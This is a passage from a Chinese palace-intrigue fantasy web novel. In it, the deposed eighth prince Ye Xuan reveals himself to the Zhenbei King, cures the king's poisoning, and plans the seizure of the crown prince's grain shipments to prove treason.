“本王在此镇守国门三十年,抵御北莽,浴血厮杀,没想到,到头来,换来的,却是他背后捅来的刀子!”
滔天的愤怒,让他的身体,都因为激动而微微颤抖。
他看着叶玄,眼神变得无比复杂。
“你……既然你看出了本王的毒,那你一定有办法解,对不对?”
他的语气,不再是质问,而是带上了一丝不易察觉的……恳求。
没有什么比自己的命,更重要。
“解药,我没有。”
叶玄摇了摇头。
风啸天的心,瞬间沉入了谷底。
“但是……”叶玄话锋一转,“我虽没有解药,却能用金针,将你体内的毒素,暂时逼出。”
“保你半年之内,性命无忧,修为不受影响。”
风啸天闻言,眼中顿时重新燃起了希望的火光。
半年!
足够了!
只要有半年时间,他就有把握,将那些安插在自己身边的钉子,一个个,连根拔起!
“好!”风啸天深吸一
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口气,强压下心中的激动。
“说吧,你的条件。”
他知道,天下没有免费的午餐。
这个神秘的年轻人,费尽心机,先是救活李默,引他入府,再点破王妃的病情,最后道出自己**的惊天秘密。
他所图,绝对不小。
“我的条件很简单。”
叶玄看着他,终于图穷匕见。
“我要王爷,帮我杀一个人。”
风啸天眉头一挑:“谁?”
“太子,叶天。”
叶玄平静地吐出了这四个字。
房间内的空气,仿佛在这一刻,彻底凝固了。
风啸天和风云天父子俩,都用一种看疯子一样的眼神,看着叶玄。
杀太子?
他知不知道自己在说什么?
这可是谋逆!是诛九族的大罪!
“你到底是谁?”
风啸天死死地盯着叶玄,他感觉自己,已经快要触碰到真相了。
这个年轻人,对太子,有着刻骨的仇恨。
他对皇室的秘闻,了如指掌。
他姓叶……
一个荒谬而又最接近真相的念头,浮现在风啸天的脑海中。
“呵呵。”
叶玄看着他那震惊的表情,知道时机已经成熟。
是时候,摊牌了。
他缓缓站起身,整理了一下自己的衣袍,那张清秀的脸上,浮现出一抹与他年龄不符的沧桑与威严。
“看来,王爷已经猜到了。”
“没错。”
“我,就是那个被废了修为,打入天牢,发配北凉,本该死在路上的……”
“大乾八皇子,叶玄。”
轰!
镇北王风啸天,如遭雷击,整个人僵在了原地。
他身旁的风云天,更是惊得张大了嘴巴,一个字都说不出来。
八皇子!
他竟然是八皇子叶玄!
那个传说中,因为觊觎贵妃,被打入天牢的废物皇子?
这……这怎么可能!
传说中的八皇子,不是一个手无缚鸡之力的文弱书生吗?
怎么会变成眼前这个医术通神,修为高深,心机深沉得可怕的年轻人?
这反差,也太大了!
“现在,王爷还觉得,我是在痴人说梦吗?”
叶玄看着震惊的父子二人,淡淡地问道。
“我与太子叶天,早已是不死不休的局面。”
“我要他死,而王爷你,现在应该也想要他死。”
“我们,有共同的敌人。”
“所以,王爷,我的这个提议,你考虑得怎么样?”
他将难题,重新抛给了镇北王。
是选择继续对太子摇尾乞怜,在慢性死亡中等待末日的降临。
还是选择和他这个“已死”的皇子联手,奋起反击,博一个光明的未来?
选择权,在风啸天的手上。
第70章 你的底牌,不止这些吧?
房间内的空气一片安静。
镇北王风啸天,就那么死死地盯着叶玄,脸上的表情,在震惊、骇然、怀疑、凝重之间,不断地变换着。
他身旁的世子风云天,早已被这个惊天秘闻,冲击得脑海中一片空白,完全失去了思考能力。
八皇子!
眼前这个医术通天,心机深沉的年轻人,竟然是那个被发配北凉的八皇子叶玄!
这个消息,比知道自己和母亲都中了太子下的剧毒,还要让他感到震撼!
“你……真的是……叶玄?”
过了许久,风啸天才终于从牙缝里,挤出了这几个字。
他的声音,干涩、沙哑,充满了不确定。
这太颠覆他的认知了。
京城传来的情报里,八皇子叶玄,不过是一个体弱多病,文不成武不就,被打入尘埃的废物。
可眼前的这个人,无论是那份洞悉一切的医术,还是那份面对自己时从容不迫的气度,亦或是那深不可测的心机城府。
哪一点,跟“废物”两个字沾边?
这分明就是一头潜伏在深渊之中的……过江猛龙!
“如假包换。”
叶玄淡淡一笑。
他知道,对方不信。
他缓缓抬起手,一丝精纯无比的金色灵力,在他的指尖萦绕。
那股气息,堂堂正正,煌煌大气,带着一股与生俱来的,君临天下的威严。
“人皇镇狱经……”
风啸天失声惊呼,眼中爆发出前所未有的精光!
作为大乾王朝的皇室成员,他当然认得这门只有叶氏皇族嫡系血脉,才有资格修炼的无上**!
而且,叶玄指尖那股灵力的精纯程度,远超他见过的任何一位皇子,甚至……比当今圣上,还要强上几分!
错不了了!
真的是他!
所有的怀疑,在这一刻,烟消云散。
风啸天的心中,掀起了滔天巨浪!
他终于明白,为什么京城会传出“八皇子觊觎贵妃”这种荒谬的丑闻了。
也终于明白,为什么太子叶天,会不惜一切代价,派人千里追杀,也要置他于死地了!
不是因为什么丑闻!
而是因为,这位八皇子,根本不是什么废物!
他是一头隐藏了所有爪牙的猛虎!
他的存在,已经严重威胁到了太子的地位!
这根本就不是什么桃色**,这是一场你死我活的皇权争斗!
想通了这一点,风啸天再看向叶玄的眼神,彻底变了。
不再是审视和威压。
而是一种……平等,甚至是带着一丝敬畏的凝视。
他缓缓地,走回主位,重新坐下。
这个动作,意味着他已经承认了叶玄的身份,并将他放在了与自己对等的,可以谈判的位置上。
“好,好,好。”
风啸天连说了三个“好”字,眼中精光闪烁。
“八皇子殿下,当真是好手段,好心机。”
“将整个镇北城,都**于股掌之间,连本王,都被你算计了进去。”
他的语气中,带着一丝自嘲,但更多的,却是对叶玄能力的认可。
“王爷过奖了。”叶玄重新坐下,神色平静,“若非被逼无奈,我也不想行此险招。”
“只是,太子不给我活路,我总得为自己,找一条活路。”
“而王爷你,就是我选中的那条活路。”
风啸天闻言,发出一声冷笑。
“八皇子殿下,你也太看得起本王了。”
“本王现在,也是自身难保,拿什么来当你的活路?”
“更何况,与你合作,就是与太子为敌,与当今圣上为敌,这是谋逆!本王凭什么,要压上我整个王府的基业,去陪你赌这一场毫无胜算的局?”
他开始讨价还价了。
精算师的直觉告诉叶玄,他心动了。
“王爷此言差矣。”
叶玄不急不缓地说道:“这不是赌局,而是你唯一的选择。”
“你以为,你不与我合作,皇上就会放过你吗?”
“蚀龙香的滋味,想必王爷比我更清楚。你现在,不过是皇上温水里的青蛙,死亡,只是时间问题。”
“与我合作,尚有一线生机。拒绝我,便是十死无生。”
“更何况……”
叶玄的嘴角,勾起一抹冰冷的弧度。
“王爷真的以为,你能拒绝得了吗?”
他的目光,扫过床榻上昏迷不醒的王妃,又落回到风啸天的身上。
“王妃的病,普天之下,只有我能治。”
“王爷你的毒,也只有我能解。”
“单凭这一点,王爷你就没有拒绝的资格。”
赤裸裸的威胁!
却也是最有效的威胁!
风啸天的脸色,瞬间变得无比难看。
他发现,自己从一开始,就落入了对方的圈套。
自己和王妃的性命,就掌握在这个年轻人的手里。
他根本,没得选。
“你……”风啸天被气得说不出话来。
他纵横沙场半生,何曾受过这等窝囊气?
“当然。”叶玄似乎看穿了他的想法,话锋一转,又给了一颗甜枣。
“王爷若是肯合作,我能给王爷的,也远不止是解毒这么简单。”
“皇上安插在镇北军中的那些钉子,我有办法,帮你一根根,全都**。”
“甚至……”
叶玄的声音,充满了诱惑。
“我还能帮你,彻底解决掉,那支让你头疼不已的‘北
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莽游骑’。”
风啸天闻言,瞳孔再次一缩。
“你有办法?”
那支屠各部落的游骑,就像一块牛皮癣,死死地粘在镇北城的边境上。
他们来去如风,烧杀抢掠,极为难缠。
偏偏他们背后,又有太子的人在输送粮草,提供情报,导致他几次大规模的围剿,都无功而返,反而损兵折将。
这已经成了他的一块心病。
如果叶玄真的有办法解决掉他们,那对他而言,绝对是天大的好事!
“当然。”叶玄自信一笑。
“不过,在此之前,我需要王爷,先拿出一点诚意来。”
“比如,先帮我解决掉,我身后那几条,跟了一路的尾巴。”
风啸天眉头一皱:“太子的人?”
“没错。”叶玄点了点头,“三百黑甲骑兵,由太子的心腹统领,他们一路从云安城追杀我到此,现如今下落不明。”
“我需要王爷,动用镇北军的力量,将他们,全部清剿,一个不留。”
“我要让太子知道,他的手,伸得太长了。”
风啸天看着叶玄,陷入了长久的沉默。
他知道,这是叶玄对他的考验。
也是他纳下的第一份“投名状”。
一旦他真的动用镇北军,去清剿太子的三百黑甲骑兵,那就等同于,彻底和太子撕破了脸皮,再无回旋的余地。
他将彻底被绑上叶玄的这辆战车。
一荣俱荣,一损俱损。
这是一个艰难的决定。
许久。
风啸天缓缓抬起头,那双锐利的鹰眸中,闪烁着决断的光芒。
“好,本王答应你。”
“区区三百骑兵,本王还不放在眼里。”
“明日一早,本王便会派出五千精骑,外出搜寻他们的下落!”
“多谢王爷。”叶玄笑了。
他知道,这盘棋,他已经赢了一半。
“不过……”风啸天话锋一转,目光灼灼地看着他。
“八皇子殿下,你的底牌,应该不止这些吧?”
“只凭你一人之力,就算有本王相助,想扳倒太子,也无异于痴人说梦。”
“本王很好奇,你真正的依仗,到底是什么?”
他还是不相信,叶玄会只身一人,就敢来闯这龙潭虎穴。
他的背后,一定还有更强大的力量!
叶玄闻言,只是神秘一笑。
“王爷,我的底牌,你很快就会看到了。”
“到时候,只希望王-爷你,不要被吓到才好。”
说罢,他站起身,走到王妃床前。
“现在,是时候,兑现我的承诺了。”
“先治好王妃的病,再为王爷您驱毒。”
“也算是,我们合作的开始。”
第71章 粮草,才是真正的杀招!
看着叶玄那自信满满,甚至带着一丝戏谑的表情,镇北王风啸天的心里,像是被猫爪子挠过一样,痒得不行。
底牌?
这小子真正的底牌是什么?
他绞尽脑汁,也想不出一个被废的皇子,能有什么翻盘的依仗。
难道是苏轻雪背后的首辅苏长青?
不对。
苏长青虽然位高权重,但终究是个文臣,手无兵权,在京城尚有几分话语权,但在这铁与血的北境,他的影响力微乎其微。
难道是京城的其他皇子?
更不可能了。
那些皇子,一个个巴不得叶玄死在外面,又怎么会和他联手?
想来想去,风啸天也想不出个所以然来。
他只能将这份疑惑,暂时压在心底。
算了。
走一步看一步。
反正现在,自己和他的命运,已经绑在了一起。
他相信,以自己的眼光,只要叶玄敢亮出底牌,他就一定能看出虚实。
“好。”
风啸天站起身,沉声说道:“那王妃,就拜托殿下了。”
他对叶玄的称呼,已经从八皇子,变成了更显尊重的“殿下”。
这是一个明确的信号。
他已经从内心深处,接受了这个盟友。
“小事一桩。”
叶玄摆了摆手,示意他们都退后一些。
他重新走到床边,看着依旧昏迷不醒的王妃柳如烟。
之前用心计和言语,破了她的心防,吐出了淤血,但这只是第一步。
她体内的断魂香余毒未清,神魂依旧受损,身体也亏空到了极点。
想要让她彻底痊愈,还需要他出手。
叶玄深吸一口气,并指如剑,指尖再次萦绕起那股堂皇大气的金色灵力。
“殿下,这是……”
风云天看着那金色的气流,忍不住好奇地问道。
“人皇之气。”叶玄淡淡地解释了一句。
“此气,乃皇族正统,至刚至阳,专破世间一切阴邪毒素。”
说罢,他不再理会旁人,手指快如闪电,在那昏迷的王妃身上,连点一十八处大穴!
每一指点下,都有一丝精纯的人皇之气渡入。
那股金色的气流,进入柳如烟体内后,仿佛有了生命一般,自动开始追索那些残存的断魂香毒素。
只见柳如烟的皮肤之下,隐隐有丝丝缕缕的黑气浮现,随即又被那金色的气流,摧枯拉朽般地吞噬、净化。
她的脸色,以肉眼可见的速度,从之前的蜡黄,变得渐渐红润起来。
那微弱的呼吸,也变得悠长而平稳。
眉宇间那股化不开的死气,正在被一股蓬勃的生机,迅速取代。
一旁的风啸天和风云天父子,看得是目瞪口呆。
他们虽然不懂医术,但他们能清晰地感受到,房间内那股颓败的气息,正在被一股温暖祥和的气场所替代。
柳如烟整个人的状态,正在发生着翻天覆地的变化!
这……这就开始好转了?
连药都没吃,只是用手指点了那么几下?
这是医术?叶玄这是从哪里学来的医术?
父子二人对视一眼,都从对方的眼中,看到了深深的震撼!
他们越来越觉得,和叶玄合作,或许是他们这辈子,做的最正确的一个决定!
约莫一炷香之后。
叶玄缓缓收回了手指,额头上,也冒出了一层薄汗。
人皇之气虽然霸道,但如此精纯地输出,对他而言,也是不小的消耗。
“好了。”
他吐出一口浊气,淡淡地说道:“她体内的毒素,已经全部清除了。”
“剩下的,就是神魂的亏损和身体的虚弱。”
说着,他拿起一旁早就准备好的笔墨纸砚,开始书写药材。
“按照这上边的药材去抓药,每天一副,温水送服。”
叶玄将药方递给风云天。
“连续服用七日。七日之后,我保她能下床走路,与常人无异。”
风云天双手颤抖地接过那药方之后,手都不由自主的颤抖起来,随即就激动的看着叶玄。
“多谢殿下!多谢殿下!”
风云天激动得语无伦次,就要跪下。
叶玄却摆了摆手。
“不必多礼,我们是盟友。”
他又看了一眼天色,说道:“天色不早了,王爷,该轮到你了。”
风啸天点了点头,眼中充满了期待。
他带着叶玄,来到了王府深处的一间密室。
密室之内,没有任何多余的摆设,只有一个蒲团。
“殿下,请。”
叶玄也不客气,直接盘腿坐在了蒲团上,示意风啸天背对着他坐下。
“王爷,我要开始了。”
“过程可能会有些痛苦,你忍着点。”
“好。”风啸天沉声应道。
叶玄深吸一口气,双掌猛地按在了风啸天的后心之上。
比之前庞大了十倍不止的人皇之气,如同决堤的洪水,轰然涌入了风啸天的体内!
“嗯!”
风啸天猝不及防,只觉得一股灼热霸道的气流,在自己的经脉中横冲直撞,忍不住闷哼了一声。
他体内的蚀龙香毒素,仿佛感受到了天敌一般,开始疯狂地反扑,与那人皇之气,展开了激烈的厮杀!
一股股针扎般的剧痛,从他四肢百骸传来,痛得他面容狰狞。
但他硬是咬着牙,一声不吭。
他知道,这是在救他的命!
时间,一分一秒地过去。
叶玄的脸色,越来越苍白。
而风啸天的头顶上,则冒起了滚滚白气,整个人如同置身于蒸笼之中。
终于。
在半个时辰之后。
“噗!”
风啸天猛地一张
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嘴,喷出了一大口黑得发紫的毒血!
那毒血落在地上,竟发出一阵“滋滋”的声响,将坚硬的青石板,都腐蚀出了一个个小坑!
看到这口毒血,风啸天非但没有惊慌,眼中反而爆发出狂喜的光芒!
他能清晰地感觉到,自己体内那股滞涩的感觉,消失了!
真气运转,前所未有的顺畅!
丹田那股针扎般的刺痛,也荡然无存!
他甚至觉得,自己那停滞了许久的修为,都有了一丝松动的迹象!
“好了。”
叶玄收回双掌,声音有些虚弱。
一次性为四品高手驱毒,对他现在的修为来说,还是有些勉强。
“多谢殿下救命之恩!”
风啸天站起身,对着叶玄,郑重地行了一个大礼。
这一次,是心悦诚服。
“王爷客气了。”叶玄摆了摆手,“我为你驱毒,你为我办事,公平交易。”
“现在,我该说的,该做的,都已经完成了。”
“接下来,就看王爷你的了。”
他的目光,望向了城外的方向。
那里,有他送给太子的,第一份大礼。
“殿下放心。”风啸天眼中杀机一闪,“给我点时间,我保证,那三百黑甲骑兵,将从这个世界上,彻底消失。”
“很好。”叶玄点了点头,站起身,准备离开密室。
“不过……”他又像是想起了什么,突然停下脚步,回头对风啸天说道:“王爷,清剿太子的走狗,只是开胃菜。”
“我们真正的杀招,应该是这个。”
他伸出手,在桌子上,用茶水,写了四个字。
陈记粮行。
风啸天看着这四个字,眉头一皱。
“殿下的意思是……”
“太子的人,勾结北莽屠各部落,养寇自重,而这陈记粮行,就是他们秘密的补给线。”
叶玄冷冷一笑。
“我们不仅要杀了太子的人,还要断了他的这条线。”
“更重要的,是要抢了这批粮草。”
“根据我得到的情报,下一次补给,就在这三五日之内。”
“只要我们能拿到这批粮草,就等于掌握了太子通敌的铁证!”
“到时候,这证据往朝堂上一递,就算他是太子,也得脱层皮!”
风啸天闻言,眼睛瞬间亮了!
对啊!
这才是真正的杀招!
人证物证俱在,看他太子还如何狡辩!
“殿下高明!”风啸天由衷赞叹。
“但是……”他又有些疑惑,“我们如何才能,神不知鬼不觉地,抢下这批粮草呢?”
毕竟,对方的交易,肯定极为隐秘。
叶玄看着他,笑了。
“这个,王爷就不必操心了。”
“**,放火,抢东西。”
“这种事,我的人,最擅长了。”
第72章 我的兵,天下无双!
我的人?
镇北王风啸天,敏锐地捕捉到了叶玄话语中的这个词。
他瞳孔微微一缩,紧紧地盯着叶玄,那双锐利的鹰眸中,再次充满了探寻与审视。
“殿下,你刚才说……你的人?”
他试探着问道。
他实在是想不通,一个被贬的皇子,身边除了一个看似柔弱的侍女,还能有什么“人”?
难道,他真的在北凉,暗中发展了什么不为人知的势力?
可这也不对啊!
他被发配北凉,满打满算,也不过月余。
这么短的时间,能发展出什么势力来?
顶多就是收拢一些亡命之徒,乌合之众罢了。
想要从太子和北莽游骑眼皮子底下,抢走那批关键的粮草,简直是痴人说梦。
看着风啸天那疑惑不解的表情,叶玄只是高深莫测地笑了笑。
他知道,是时候,该稍微透露一点自己的“底牌”了。
毕竟,接下来,他还需要这位镇北王,全方位的配合。
若是不展现出足够让他信服的实力,这位多疑的铁血王爷,是不会真心实意地,将宝压在自己身上的。
“王爷。”
叶玄缓缓开口,声音不大,却带着一股发自骨子里的骄傲与自信。
“你以为,我这一路,从京城到北凉,真的是靠着运气,才活下来的吗?”
风啸天闻言,心中一动。
是啊。
太子派出的追兵,绝不可能只有那三百黑甲骑兵。
暗中的刺杀,路上的埋伏,肯定数不胜数。
可叶玄,却安然无恙地,走到了镇北城。
这其中,若是没有强大的力量在暗中护卫,绝无可能。
难道……
一个让他自己都觉得有些荒谬的念头,浮现在了风啸天的脑海中。
“殿下的意思是,你身边,一直有护卫?”
“护卫?”叶玄嗤笑一声,那笑容里,带着一丝睥睨天下的傲然。
“王爷,你太小看我了。”
“也太小看,我皇家底蕴了。”
他当然不会说,这支军队是系统奖励的。
将一切都推到皇家底蕴这两个字上,是最合适的说辞。
既能解释力量的来源,又能增加自己的神秘感和威慑力。
风啸天的心,狠狠地跳了一下。
皇族底蕴?
难道是……传说中,只有历代皇帝,才能掌控的那支……影子部队?
不可能!
那支部队,只听命于手持传国玉玺的当今圣上!
连太子,都无权调动!
叶玄一个被废的皇子,怎么可能……
“王爷,这世上的事,没什么不可能的。”
叶玄仿佛看穿了他的心思,淡淡地说道。
“他,终究是念着几分父子之情的。”
“他虽然废了我,却也不想我,真的死在太子手上。”
“所以,在我离京之前,他老人家,私底下,给了我一点……保命的东西。”
叶玄的话一出口,瞬间让风啸天脑补出了一场父子情深,暗中回护的大戏。
他看向叶玄的眼神,彻底变了。
原来如此!
原来皇帝,并没有真的放弃这位八皇子!
他只是在用这种方式,磨砺他,保护他!
而太子,却以为自己大权在握,肆无忌惮地打压兄弟。
这简直是……愚蠢至极!
想通了这一点,风啸天对叶玄的信心,瞬间暴涨!
有圣上在背后撑腰,那还怕什么太子?
这一场争斗,谁输谁赢,还真不一定呢!
“殿下!”风啸天深吸一口气,再次对着叶玄,郑重地行了一礼,“是啸天,有眼无珠了。”
“殿下放心,从今往后,我镇北王府,唯殿下马首是瞻!”
这一次,他是彻底地,心甘情愿地,选择了站队。
“王爷言重了。”叶玄坦然地受了他这一礼。
“我们是盟友,一荣俱荣,一损俱损。”
“明日清剿太子鹰犬,以及三日后截断陈记粮行粮草之事,还需要王爷鼎力相助。”
“殿下但请吩咐,啸天万死不辞!”风啸天拍着胸脯保证道。
“好。”叶玄点了点头,随即开始布置计划。
“明日,王爷派兵清剿山谷,动静越大越好,务必要让城里所有人都知道,你镇北王,在向太子宣战。”
“这是要彻底撕破脸皮,不留后路。”
“我明白。”风啸天眼中杀机毕露。
“其次,这几日,王爷需要派人,严密监视城西通往城外的那条商道。”
叶玄在桌上画出一条路线。
“陈记粮行的商队,一定会走这条路。”<
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br>“我要你的人,在他们出城的第一时间,就将消息,传给我。”
“这个简单。”风啸天点了点头,“我手下的斥候,冠绝天下,保证他们插翅难飞。”
“最后一点,也是最关键的一点。”
叶玄的表情,变得严肃起来。
“等到粮草到手之后,王爷需要立刻封锁全城,以搜捕北莽奸细为名,进行全城**。”
“我要让这批粮草,和太子通敌的罪证,安安稳稳地,留在镇北城。”
“也让太子,想派人来毁灭证据,都无路可走!”
听完叶玄这环环相扣的计划,风啸天再次倒吸一口凉气。
好家伙!
这简直是把太子的后路,全都给堵**!
先是明着宣战,吸引太子的注意力。
再是暗中抢夺粮草,拿到他通敌的铁证。
最后直接封城,来一招瓮中捉鳖!
这一套组合拳打下来,太子就算是有天大的本事,也得被打蒙!
“殿下之谋,当真是天衣无缝!啸天,佩服!”
风啸天是由衷地感到佩服。
他现在甚至有些庆幸,自己是和叶玄合作,而不是与他为敌。
否则,自己恐怕**的都不知道。
“王爷,那这件事,就这么说定了。”
叶玄站起身,准备告辞。
“为王妃驱毒,耗费了我不少心神,我需要回去休息了。”
“殿下慢走。”风啸天亲自将叶玄送到门口,姿态放得极低。
“对了。”走到门口,叶玄又停下脚步,回头补充了一句。
“王爷对我的人,一定很好奇吧?”
风啸天一愣,随即老脸一红,干笑了两声。
“这个……确实有点。”
“呵呵。”叶玄笑了笑,那笑容里,充满了绝对的自信。
“王爷,你很快就会见到了。”
“我只能告诉你四个字。”
“我的兵,天下无双。”
说罢,他不再停留,带着苏轻雪,在风云天的亲自护送下,坐上了返回客栈的马车。
只留下镇北王风啸天,站在原地,久久回味着那四个字。
天下无双?
好大的口气!
他倒要看看,能被这位心高气傲的八皇子殿下,称为“天下无双”的兵,到底是一支怎样的虎狼之师!
第73章 粮草已达,可以开始了
马车在客栈后门停稳,叶玄先行下车,转身将仍有些虚弱的苏轻雪扶了下来。
夜色如墨,寒风凛冽。
叶玄的目光在门框一角不易察觉的缝隙处,停留了一瞬。
他的手指看似随意地拂过衣袖,指尖以一种极为玄奥的节奏,在冰冷的木料上轻轻敲击了三下,留下三道痕迹。
一个无声的命令,已然发出。
“我们进去吧,你需要好好休息。”
叶玄的声音温和下来,扶着苏轻雪的手臂,稳稳地将她送回房内。
房中,烛火摇曳。
苏轻雪的脸色依旧苍白,但眉宇间的忧色,但却比刚刚好了很多。
叶玄没有多言,只是伸出两指,轻轻搭在她的皓腕上。
一股精纯而温暖的人皇之气,如涓涓细流,缓缓渡入她的体内,安抚着她因奔波和惊吓而紊乱的气血。
“这几日,什么都不要想。”
叶玄收回手指,轻声道。
“安心静养,镇北王那边一切有我。”
他的话语,带着一种不容置疑的安定力量。
苏轻雪凝视着他,那双清冷的眸子里,泛起一丝水汽,她轻轻地点了点头。
安顿好苏轻雪,叶玄回到自己房中,盘膝而坐。
为王妃和风啸天驱毒,对他自身的功力消耗,同样巨大。
他双目微阖,人皇镇狱经在体内缓缓运转,天地间的灵气,仿佛受到了某种无形的牵引,化作一道道肉眼难辨的气旋,疯狂地涌入他的四肢百骸。
……
三天时间,转瞬即逝。
这三天里,整个镇北城,都笼罩在一股肃杀的氛围之中。
镇北王风啸天雷霆震怒!
他以搜捕北莽骑兵的凶徒为名,派出了足足五千精锐骑兵,在城外百里的范围内,掀起了一场声势浩大的清剿行动。
铁蹄铮铮,烟尘滚滚。
镇北军的旗帜,插遍了每一座山头。
城内的气氛,更是紧张到了极点。
所有人都嗅到了一股不同寻常的味道。
镇北王,这是在向城内的某些人**呢!
一场惊天动地的风暴,似乎正在酝酿。
而风暴中心的叶玄,却安坐于客栈之内,悠然品茶,仿佛外界的一切喧嚣,都与他无关。
他在等。
等一个信号,等一个人。
第三日,黄昏。
房门被轻轻叩响。
“进。”
叶玄放下茶杯,淡淡开口。
一个身着灰色布衣的汉子,悄无声息地推门而入,又悄无声息地将门关上。
他长相普通,是那种扔进人堆里,就再也找不出来的类型。
可他站在那里,身形笔直如枪,浑身上下,都透着一股血与火淬炼出的铁血煞气。
他的眼神,沉静,锐利,像一头潜伏在暗处的孤狼。
“启禀主上。”
汉子单膝跪地,声音嘶哑而沉稳。
“大雪龙骑斥候营校尉,龙七,前来复命。”
叶玄点了点头,示意他起身。
“说。”
“遵主上令,两百黑甲骑兵的踪迹,已于两日前,在城东黑风谷发现,并已肃清,无一活口。”
龙七的汇报,言简意赅,不带一丝情绪。
仿佛只是碾**几只蚂蚁。
“镇北王府的动向,已全程监控。其清剿部队,始终在我军掌控范围之外,并未对我们造成任何干扰。”
“很好。”叶玄的表情,没有丝毫波澜。
这一切,都在他的预料之中。
他真正关心的,是另一件事。
“陈记粮行那边,如何了?”
龙七的眼中,闪过一丝锋芒。
“回主上,前日,陈记粮行有一支三百人的车队,押运五万石粮草,朝着我们现在潜藏的营地驶来。”
“我部已按预定计划,于在其中设伏,将其全歼。”
“人,全部就地处理。”
“粮草,分毫未损,现已由我部接管,藏匿于城外枯木林。”
说到这里,龙七顿了一下,继续补充道。
“此外,昨日夜间,我部发现陈记粮行又有第二批粮草运来,规模更大,足有十万石。属下自作主张,已将其一并截下。”
“两批粮草,共计十五万石,均在掌控之中。”
“请主上示下,如何处置?”
龙七的汇报,让空气都为之一凝。
这便是大雪龙骑!
天下无双!
他们不仅能完美地执行命令,更能根据战场形势,主动出击,将战果扩大到极致!
“做得不错。”
叶玄的嘴角,终于勾起一抹满意的弧度。
“将第一批五万石粮草,送到城南军营门口。”
“动静可以大一点,但不要暴露你们的身份,做成是镇北王府的缴获即可。”
“剩下的十万石,不必上缴。”
叶玄的眼中,闪过一丝深邃的精光。
“那是我们大雪龙骑自己的军粮。”
龙七的身体,猛地一震,眼中爆发出炙热的光芒。
他明白了!
主上这不仅仅是在布局对付太子,更是在为大雪龙骑,谋划一个真正的根基!
“属下,遵命!”
龙七重重抱拳,身影一闪,便如鬼魅般,消失在了房间里。
叶玄缓缓起身,推开窗户,望向远处那座威严的王府。
风,要起了。
……<
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br>镇北王府,书房。
风啸天正来回踱步,脸上写满了焦躁。
三天了。
他按照叶玄的计划,把动静闹得满城风雨,几乎把镇北城外翻了个底朝天。
可叶玄那边,却迟迟没有动静。
他到底有什么底牌?
他的人,究竟在哪里?
难道,计划有变?
就在他心神不宁之际,下人来报。
“王爷,叶公子求见。”
风啸天精神一振,连忙道:“快请!”
片刻后,叶玄一袭白衣,悠然步入书房。
“殿下!”
风啸天快步迎了上去,语气中带着一丝急切。
“情况如何了?本王的人马已经准备就绪,随时可以配合殿下行动,抢夺粮草!”
他以为,叶玄是来商议具体行动计划的。
然而,叶玄只是淡淡一笑。
“王爷,不必了。”
风啸天一愣。
“不必了?殿下这是何意?”
叶玄走到桌边,提起茶壶,自顾自地倒了一杯茶。
他的动作,从容不迫,仿佛在说一件微不足道的小事。
“我的意思是。”
“事情,已经办妥了。”
风啸天的大脑,一片空白。
办妥了?
什么叫办妥了?
那可是陈记粮行!背后站着户部尚书和太子!
那可是有重兵护送的粮草!
在自己二十万镇北军的眼皮子底下,在**羽的严密监视下,他……他说办妥了?
这怎么可能!
叶玄将茶杯递到唇边,轻轻吹了吹热气,眼皮都未曾抬起。
“王爷派出去的五千精骑,可以回来了。”
“接下来,该王爷你表演了。”
“立刻下令,封锁全城!”
“以搜捕北莽奸细,清查通敌乱党为名,一只苍蝇,也不许飞出去。”
叶玄的声音很轻,却像一柄重锤,狠狠地砸在风啸天的心上。
“太子通敌的罪证,那五万石粮草,此刻应该已经送到了城南军营的门口。”
“王爷,可以派人去接收了。”
“记住,要让全城的人都知道,这是你镇北王,缴获的通敌物资。”
风啸天彻底石化了。
他呆呆地站在原地,浑身的血液,仿佛都凝固了。
他看着眼前这个云淡风轻的少年,一股寒意,从脚底直冲天灵盖。
神不知,鬼不觉。
运筹帷幄,决胜千里。
这……这究竟是何等恐怖的手段!
直到这一刻,他才真正理解了叶玄那句话的含义。
我的人,天下无双。
那不是狂妄。
那是事实!
第74章 蠢猪!有你们这么干坏事的吗?
风啸天感觉自己的灵魂都在颤抖。
他活了半辈子,打了半辈子仗,自诩心志坚如磐石,可此刻,他看着眼前这个白衣胜雪、神情淡然的少年,竟有种对方不是人的错觉
五万石粮草,说拿下就拿下了。
这已经不是计谋,这是神迹!
“王爷。”
叶玄的声音将他从失神中拉回现实。
“该你登场了。”
风啸天猛地吸了一口气,胸中的震撼与狂热瞬间化作一股滔天的气势。
他不再有丝毫的犹豫和怀疑。
“传我将令!”
他对着门外嘶吼,声音如同平地惊雷,炸响在王府上空。
“镇北军,第一、第三、第五卫,即刻出动!”
“封锁四方城门!”
“任何人,不得进出!”
“自即刻起,全城**!”
轰隆隆——!
沉重到令人牙酸的机括转动声,从东南西北四个方向同时响起。
那四扇屹立百年,抵御了北莽无数次冲锋的巨大城门,在无数镇北城百姓惊愕的目光中,缓缓闭合。
“哐当!”
巨响震天,仿佛天地的门扉被彻底关上。
镇北城,成了一座巨大的囚笼。
“怎么回事?”
“城门怎么关了?”
“天还没黑啊!”
街头巷尾,无数百姓从商铺、家中涌出,仰头望着那紧闭的城门,脸上写满了惊慌与不解。
就在这时,一队队身披玄甲、手持长戈的镇北军士兵,如钢铁洪流般从军营涌出,迅速接管了城内各处要道。
肃杀之气,瞬间笼罩全城!
“奉镇北王令!”
一名骑在战马上的校尉,声如洪钟,传遍长街。
“城内混入北莽奸细,勾结乱党,意图不轨!”
“全城搜捕,但凡形迹可疑者,一律拿下!”
此言一出,人群瞬间炸开了锅。
北莽奸细?
这个词,对于饱受北莽袭扰之苦的镇北城百姓而言,无异于最恶毒的诅咒。
恐慌,愤怒,憎恶……种种情绪在人群中蔓延。
而就在全城人心惶惶之际,更加震撼的一幕出现了。
“让开!都让开!”
城南方向,传来一阵阵粗暴的喝骂声。
一支由镇北军押送的庞大车队,正沿着主干道,浩浩荡荡地朝着王府方向驶来。
那是一眼望不到头的粮车!
每一辆大车上,都堆满了鼓鼓囊囊的麻袋,粗略看去,怕不是有上百辆之多!
车轮滚滚,压得青石板路都在呻吟。
一股巨大的压迫感,随着车队的靠近,扑面而来。
“这是……”
“这么多粮食!是王爷从哪里缴获的军粮吗?”
“不对,你们看那麻袋上!”
一个眼尖的商贩,指着粮车,发出一声惊恐的尖叫。
所有人的目光,瞬间聚焦了过去。
只见那每一个麻袋上,都用漆黑的墨,印着四个醒目的大字——
陈记粮行!
一瞬间,空气仿佛凝固了。
陈记粮行?
京城四大粮行之一,在镇北城也是数一数二的大粮商,谁人不知,谁人不晓?
他们的粮草,怎么会在这个时候,在镇北军的押送下出现?
随后一个可怕的念头,在所有人的脑海中疯狂滋生。
“难道……陈记粮行……通敌?”
